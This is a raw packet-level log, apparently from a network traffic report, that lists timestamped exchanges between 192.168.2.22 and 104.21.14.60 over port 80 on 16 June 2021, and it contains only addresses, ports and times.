Jun 16, 2021 12:04:53.643316984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.643342972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.643398046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.644036055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.644064903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.644128084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.644797087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.644835949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.644903898 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.645589113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.645627975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.645679951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.646300077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.646331072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.646392107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.647092104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.647165060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.647237062 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.647857904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.647902012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.647981882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.648603916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.648644924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.648715973 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.649359941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.649399996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.649461985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.650099039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.650136948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.650202990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.650861025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.650911093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.650999069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.651633978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.651670933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.651736975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.652390957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.652432919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.652497053 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.653136969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.653176069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.653229952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.653904915 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.653943062 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.654006958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.654664993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.654706001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.654762030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.655395985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.655428886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.655503035 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.656152964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.656187057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.656256914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.656932116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.656972885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.657037020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.657680988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.657721043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.657794952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.658436060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.658457041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.658533096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.659179926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.659204006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.659392118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.659945011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.659982920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.660058975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.660702944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.660742044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.660854101 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.661384106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.661416054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.661518097 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.662025928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.662359953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.662390947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.662442923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.663049936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.663083076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.663161039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.663688898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.663723946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.663784027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.664346933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.664376020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.664515972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.664993048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.665030003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.665067911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.665677071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.665697098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.665751934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.666327953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.666354895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.666397095 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.667006969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.667026043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.667093039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.667684078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.667705059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.667895079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.668359995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.668380976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.668530941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.668978930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.669014931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.669066906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.669650078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.669680119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.669936895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.670294046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.670332909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.670386076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.670947075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.670985937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.671017885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.671097994 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.671936989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.671977043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.671996117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.672084093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.672909021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.672954082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.672983885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.673022985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.673826933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.673868895 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.673907042 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.673907995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.673955917 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.674748898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.674782991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.674799919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.675041914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.675678015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.675733089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.675774097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.675890923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.676536083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.676584005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.676597118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.676618099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.676677942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.676779985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.677007914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.677395105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.677664995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.677695036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.677722931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.677730083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.677741051 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.677897930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.678581953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.678627014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.678659916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.678673029 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.679447889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.679485083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.679517031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.679600000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.680344105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.680380106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.680408001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.680423021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.680455923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.681199074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.681236982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.681266069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.681281090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.682053089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.682097912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.682130098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.682131052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.682172060 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.682914019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.682960033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.682991028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.683023930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.683753967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.683796883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.683828115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.683840036 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.683868885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.684576035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.684709072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.684741974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.684755087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.684779882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.684822083 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.685601950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.685646057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.685672045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.685698986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.690256119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.690294981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.690315008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.690423965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.691736937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.691781044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.691811085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.691838026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.691859961 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.691879988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.693300009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.693345070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.693376064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.693387032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.693403959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.693567991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.694752932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.694796085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.694824934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.694853067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.694854021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.694892883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.696234941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.696279049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.696321011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.696347952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.696351051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.696389914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.697808027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.697853088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.697885036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.697912931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.697915077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.697952032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.699336052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.699382067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.699417114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.699450016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.699453115 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.699498892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.700751066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.700798035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.700829983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.700855017 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.700860023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.700900078 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.701621056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.701663971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.701694965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.701721907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.701724052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.701759100 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.703253984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703299999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703346014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703351974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.703382015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703413963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703423977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.703442097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.703536987 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.704674959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.704715967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.704744101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.704767942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.704771042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.704807043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.706037045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.706079960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.706110001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.706136942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.706135988 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.706167936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.706171989 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.708087921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708112001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708134890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708156109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708177090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708178043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.708195925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.708199978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708221912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.708234072 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.710184097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710210085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710231066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710236073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.710253000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710263968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.710274935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710304022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710313082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.710325956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.710357904 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.712192059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712218046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712239027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712260008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712270975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.712280989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712291956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.712304115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712318897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.712337017 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.713372946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713406086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713433027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713443995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.713458061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713468075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.713485003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713510036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713519096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.713536978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.713570118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.715331078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715354919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715374947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715394020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715418100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715424061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.715441942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715446949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.715466022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.715481043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.717411995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.717439890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.717459917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.717506886 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.718992949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719018936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719041109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719047070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.719074965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.719177961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719202995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.719228029 CEST	80	49167	104.21.14.60	192.168.2.22
